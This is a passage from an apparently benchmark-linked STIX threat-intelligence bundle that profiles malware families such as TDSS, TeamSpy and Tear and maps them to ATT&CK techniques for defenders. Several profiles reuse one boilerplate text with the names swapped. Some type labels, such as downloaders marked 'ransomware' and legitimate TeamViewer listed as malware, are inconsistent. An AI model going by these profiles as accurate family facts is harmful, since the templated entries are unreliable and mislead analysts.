      "id": "relationship--7f91bd40-621d-56ad-943b-59fcf748e9e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971e2b72-5c8d-553c-8a83-8e0a4b42dfed",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tbma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d63d964-c24d-5dea-97e9-9935b615ae26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971e2b72-5c8d-553c-8a83-8e0a4b42dfed",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tbma exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07863e8c-869c-525f-b5a8-643644fa86b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971e2b72-5c8d-553c-8a83-8e0a4b42dfed",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tbma exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cffdfefb-0954-5893-8715-bebced0a05f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tcdrop",
      "description": "<h3>Executive Summary</h3>\nTcdrop is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTcdrop is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tcdrop operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tcdrop ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tcdrop receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tcdrop infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tcdrop executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tcdrop frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tcdrop",
        "Dropper.Tcdrop",
        "Win32/Tcdrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tcdrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tcdrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7c29d95-e493-5f6d-b477-04bd2cf2fb91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffdfefb-0954-5893-8715-bebced0a05f0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tcdrop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ceeae67b-2927-5469-8a55-7f1568814650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffdfefb-0954-5893-8715-bebced0a05f0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tcdrop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba3b1ed3-1403-559c-9a3b-ef13262cbac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffdfefb-0954-5893-8715-bebced0a05f0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tcdrop exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a86eb812-64ba-5f7e-8b2b-10408cabce56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tdss",
      "description": "TDSS (universally recognized across threat intelligence research and vendor taxonomies as Rootkit:Win32/TDSS, Trojan:Win32/Alureon, W32.Tidserv, and TDL-4) is one of the most technologically advanced and resilient rootkit and bootkit botnet families in computing history, active since 2008. Over four successive architectural generations (TDL-1 through TDL-4), TDSS pioneered groundbreaking low-level evasion techniques, including infecting the Master Boot Record (MBR) and Volume Boot Record (VBR) to execute malicious ring-0 code before the Windows kernel loads, bypassing 64-bit kernel mode code signing (KMCS) requirements on Windows 7. TDSS establishes a hidden, encrypted virtual file system at the very end of physical hard disk drives, inaccessible to the Windows operating system APIs. Functioning as a formidable cybercrime hosting infrastructure, TDSS hooked low-level disk I/O drivers (atapi.sys, miniport drivers), manipulated search engine results, intercepted banking communications, established a peer-to-peer (P2P) Kad-like C2 communication overlay to resist domain takedowns, and rented its botnet pipeline to distribute secondary ransomware, click-fraud modules, and rogue antivirus software. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit:Win32/TDSS",
        "Trojan:Win32/Alureon",
        "Rootkit.Win32.TDSS.tdl4",
        "W32.Tidserv",
        "TDL-4 Rootkit",
        "Backdoor.Win32.TDSS",
        "Alureon Bootkit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tdss",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tdss"
        }
      ],
      "labels": [
        "rootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ba96614-c3c8-5a38-88d8-ba178fe4106e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Teambot",
      "description": "<h3>Executive Summary</h3>\nTeamBot is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTeamBot is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, TeamBot operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> TeamBot ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, TeamBot receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA TeamBot infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the TeamBot executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because TeamBot frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.TeamBot",
        "Downloader.TeamBot",
        "Win32/TeamBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Teambot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/teambot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1209aec1-9f0d-5636-ba1b-74f643ca98ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ba96614-c3c8-5a38-88d8-ba178fe4106e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teambot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56ea4208-dabd-50c0-8255-75c9d048efeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ba96614-c3c8-5a38-88d8-ba178fe4106e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teambot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--428dff01-bbc9-5976-afee-fd232f3436fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ba96614-c3c8-5a38-88d8-ba178fe4106e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teambot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9b65d10-3a74-5997-a5be-a4878c2a51a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Teamspy",
      "description": "Backdoor:Win32/Teamspy (also known as TeamSpy Crew or 'The TeamSpy Operation') is a highly sophisticated cyber-espionage toolkit (APT). Its defining characteristic is the weaponization and abuse of a legitimate, widely used remote administration tool: TeamViewer. By hijacking legitimate software (`T1219`), TeamSpy operates with extreme stealth, bypassing many heuristic and behavioral defenses because the core remote access activity looks exactly like standard IT support.<br><br><b>Understanding TeamSpy (Living off the Land)</b><br>To an end-user, the infection is completely invisible; the attackers take great pains to hide the TeamViewer interface. For a security operations center (SOC), TeamSpy is incredibly difficult to detect without deep analysis, as the network traffic is indistinguishable from authorized remote support sessions. It targets high-value individuals, industrial sectors, and government entities to steal sensitive documents, encryption keys, and proprietary data.<br><br><b>Execution and Subversion Mechanics</b><br>TeamSpy is typically deployed via highly targeted spear-phishing campaigns containing malicious attachments or links (`T1566.001`). Once initial access is gained, the malware drops a fully functional, legitimate version of TeamViewer alongside malicious, dynamically loaded libraries (DLLs). It utilizes DLL Search Order Hijacking or DLL Side-Loading (`T1574.002`) to force the legitimate TeamViewer executable to load the attacker's malicious DLL. This DLL radically alters TeamViewer's behavior: it hides the GUI, suppresses user notifications, hardcodes the access password, and configures it to run silently as a service. This grants the attacker persistent, interactive, graphical remote access (`T1059`) completely bypassing the victim's awareness.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the catastrophic, long-term theft of highly sensitive data. Host-based IoCs include EDR alerts for anomalous DLL loads into `teamviewer.exe` (specifically looking for unsigned DLLs or unexpected file paths like `%AppData%`), and the presence of suspicious configuration files (like `tv.ini` or `.cfg`) overriding default TeamViewer settings. Network IoCs are challenging, as the traffic flows to legitimate TeamViewer infrastructure, but anomalies in session duration or connections outside of normal business hours can be indicators. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Teamspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/teamspy"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c124463-0d4f-5374-a30d-bda8e8d72fe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b65d10-3a74-5997-a5be-a4878c2a51a2",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamspy exhibits technique T1219 (Remote Access Software (Weaponizing TeamViewer for stealthy access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d8f7fa2-2772-54b7-966a-4d6309d5754d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b65d10-3a74-5997-a5be-a4878c2a51a2",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamspy exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Forcing TeamViewer to load malicious code))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0204dd8a-0794-5881-8db9-9aec6f982391",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b65d10-3a74-5997-a5be-a4878c2a51a2",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamspy exhibits technique T1114 (Email Collection (A common objective for the TeamSpy operators))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77d20796-e695-5cb3-98be-e4325357918c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b65d10-3a74-5997-a5be-a4878c2a51a2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamspy exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Initial access vector))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5ff27a3-a1f4-5654-9f51-be3aae900dea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Teamviewer",
      "description": "<h3>Executive Summary</h3>\nTeamViewer is a fully legitimate, commercially available remote access and support application. However, in the context of cybersecurity, a \"TeamViewer\" detection (often flagged as Riskware or HackTool) indicates the unauthorized, malicious installation or abuse of this legitimate tool by threat actors. Attackers frequently deploy TeamViewer during targeted intrusions to maintain persistent, interactive remote access to a compromised environment while completely bypassing traditional malware signatures, a tactic known as \"Living off the Land.\"\n\n<h3>Exploitation and Abuse Mechanics</h3>\nBecause TeamViewer is a signed, trusted application, it easily bypasses standard antivirus scanning. Threat actors abuse it in the following ways:\n<ul>\n<li><strong>Silent Installation:</strong> After gaining initial access (via phishing, RDP brute-forcing, or a prior malware infection), attackers often download a portable or customized version of TeamViewer. They execute it silently from the command line, suppressing the graphical user interface so the victim is unaware it is running.</li>\n<li><strong>Persistence and C2:</strong> The attacker configures TeamViewer to start automatically with Windows and sets a static, complex password for \"Unattended Access.\" This provides the attacker with a highly stable, encrypted command-and-control (C2) channel directly into the victim's desktop, utilizing TeamViewer's legitimate servers to route the traffic, easily bypassing edge firewalls.</li>\n<li><strong>Data Exfiltration and Lateral Movement:</strong> Once connected via TeamViewer, the attacker has full GUI access. They can use the built-in file transfer capabilities to exfiltrate sensitive data or execute tools to pivot laterally across the network.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe unauthorized presence of TeamViewer is a critical security incident. It indicates that an attacker has established a highly reliable backdoor into the environment. Because the tool operates over standard HTTPS ports and utilizes legitimate infrastructure, detecting the malicious activity requires advanced behavioral monitoring.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for the unexpected execution of `teamviewer.exe`, especially when launched from temporary directories or with command-line flags suppressing the UI (e.g., `--silent`).</li>\n<li><strong>Network Isolation:</strong> Immediately isolate any endpoint found running an unauthorized instance of TeamViewer.</li>\n<li><strong>Application Control (Whitelisting):</strong> Enforce strict application whitelisting. If TeamViewer is not the officially sanctioned remote support tool for the enterprise, its execution should be explicitly blocked globally via AppLocker or EDR policies.</li>\n<li><strong>Forensic Review:</strong> Investigate the endpoint to determine *how* TeamViewer was installed, as this indicates a prior, deeper compromise.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.TeamViewer",
        "Tool.TeamViewer",
        "RemoteAccess.TeamViewer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Teamviewer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/teamviewer"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b69079ee-54d0-5056-ba5a-3ac5335d1321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5ff27a3-a1f4-5654-9f51-be3aae900dea",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamviewer exhibits technique T1219 (Remote Access Software (Abusing a legitimate tool for malicious interactive access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78822ef2-dc56-5a39-9a40-27210976e46e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5ff27a3-a1f4-5654-9f51-be3aae900dea",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamviewer exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d161de1-dbbb-53c3-a082-f6236c581854",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5ff27a3-a1f4-5654-9f51-be3aae900dea",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teamviewer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3aa86e1-0df0-567b-93e4-9d064f504c8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tear",
      "description": "<h3>Executive Summary</h3>\nTear is a highly dangerous Remote Access Trojan (RAT) and Backdoor. Its primary objective is to silently infiltrate a Windows workstation or server, establish an encrypted command-and-control (C2) channel, and grant a remote attacker full, interactive, administrative control over the compromised endpoint, effectively bypassing all local security controls.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTear is typically deployed via highly targeted spear-phishing campaigns (often utilizing malicious macros in Office documents), drive-by downloads from compromised websites, or installed directly by an attacker who has gained initial access via compromised RDP credentials.\n\nOnce executed, Tear provides a comprehensive suite of espionage and control features:\n<ul>\n<li><strong>Interactive Shell Access:</strong> The RAT provides the attacker with a hidden, interactive command-line interface (reverse shell). The attacker can execute arbitrary system commands, manipulate the registry, and manage running processes as if they were sitting at the keyboard.</li>\n<li><strong>Surveillance and Espionage:</strong> Tear typically includes modules for live audio/video capture (hijacking the webcam and microphone), capturing desktop screenshots, and a built-in keylogger to steal passwords and monitor user activity in real-time.</li>\n<li><strong>Lateral Movement Platform:</strong> A compromised machine running a RAT acts as a perfect beachhead for lateral movement. The attacker can utilize Tear's file management capabilities to upload port scanners, credential dumping tools (like Mimikatz), and additional exploits to attack other servers within the corporate network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tear infection is a critical \"glass break\" security incident. The presence of a functional RAT indicates that an attacker has complete sovereignty over the endpoint. Confidentiality, Integrity, and Availability of the data on that machine (and potentially the entire network) are entirely compromised.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Severing the C2 connection is the absolute highest priority. Disconnect the infected machine from the network immediately to cut off the attacker's interactive access.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the attacker has already used the RAT to pivot. Incident responders must analyze network traffic logs (NetFlow, firewall logs) originating from the infected IP address to identify other potentially compromised internal hosts.</li>\n<li><strong>Bare-Metal Re-imaging:</strong> Due to the extensive, interactive control a RAT provides, it is impossible to guarantee that a system has been \"cleaned\" manually. The attacker likely installed secondary backdoors. The only secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Tear",
        "RAT.Tear",
        "Win32/Tear"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tear",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tear"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c5e7bc2-25ce-5175-a13b-f21b6bee21b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3aa86e1-0df0-567b-93e4-9d064f504c8e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tear exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91493676-a3fc-5260-a8e0-42d88a806036",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3aa86e1-0df0-567b-93e4-9d064f504c8e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tear exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78835ad0-538b-5434-b081-1411570fefc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3aa86e1-0df0-567b-93e4-9d064f504c8e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tear exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d33f3304-eecc-570d-98fc-cccea166ec2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3aa86e1-0df0-567b-93e4-9d064f504c8e",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tear exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3a32d364-cbb7-551b-b017-bdc1f0d8d60c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Techsnab",
      "description": "Techsnab (cataloged across security vendors and threat intelligence databases under signatures including SoftwareBundler:Win32/Techsnab, Trojan:Win32/Techsnab, and PUA:Win32/Techsnab) is an aggressive software bundler, browser modifier, and adware framework active since 2016. Infiltrating endpoints primarily through third-party freeware download portals, deceptive installers, and torrent packages, Techsnab targets Chromium-based web browsers (such as Google Chrome and Microsoft Edge). Once active, the wrapper drops auxiliary executables (including chromelauncher.exe), modifies browser shortcuts and preferences, injects unwanted pop-up advertisements, and silently downloads additional Potentially Unwanted Programs (PUPs) to generate affiliate advertising revenue. (Observed samples in benchmark: 41)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/Techsnab",
        "Trojan:Win32/Techsnab",
        "PUA:Win32/Techsnab",
        "Win32/Techsnab",
        "Adware.Techsnab"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Techsnab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/techsnab"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4341aeb8-82b4-5e4f-b8dd-0c379d961e57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tedroo",
      "description": "<h3>Executive Summary</h3>\nTedroo is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTedroo is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tedroo operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tedroo ensures it survives system reboots by modifying the 